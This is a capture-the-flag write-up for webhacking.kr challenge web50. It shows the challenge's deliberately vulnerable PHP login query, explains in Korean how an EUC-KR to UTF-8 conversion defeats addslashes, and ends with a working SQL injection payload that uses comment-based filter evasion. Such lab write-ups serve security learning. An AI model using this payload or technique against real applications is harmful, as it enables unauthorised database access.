Post

Webhacking.kr - web50

web50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

Solution

1
2
3
4
5
6
7
8
9
10
11
12
id, pw에 {from, pw, (, ), %20, %, =, >, <}이 필터링이며 id는 추가로 union도 필터링
lv이 3이 되어야 통과.

멀티바이트 언어에서 유니코드 언어로 변경 시 발생할 수 있는 취약점 : https://dydgh499.tistory.com/32

멀티바이트는 1, 2바이트 표현, 유니코드는 모든 문자 2바이트 표현
멀티에서 유니로 인코딩 시 멀티바이트 환경에서 백슬래시 앞에 %a1~%fe의 값이 들어오면 인코딩이 깨지면서 백슬래시를 덮어씌어버려서 
2바이트의 멀티바이트를 하나의 문자(1바이트)처럼 표현이 되는 취약점이 있음.

따라서 다음과 같이 해주면 성공함.
id='\' and pw=md5(' union select 3#
id=%f1%5c&pw=/**/union/**/select/**/3%23
This post is licensed under CC BY 4.0 by the author.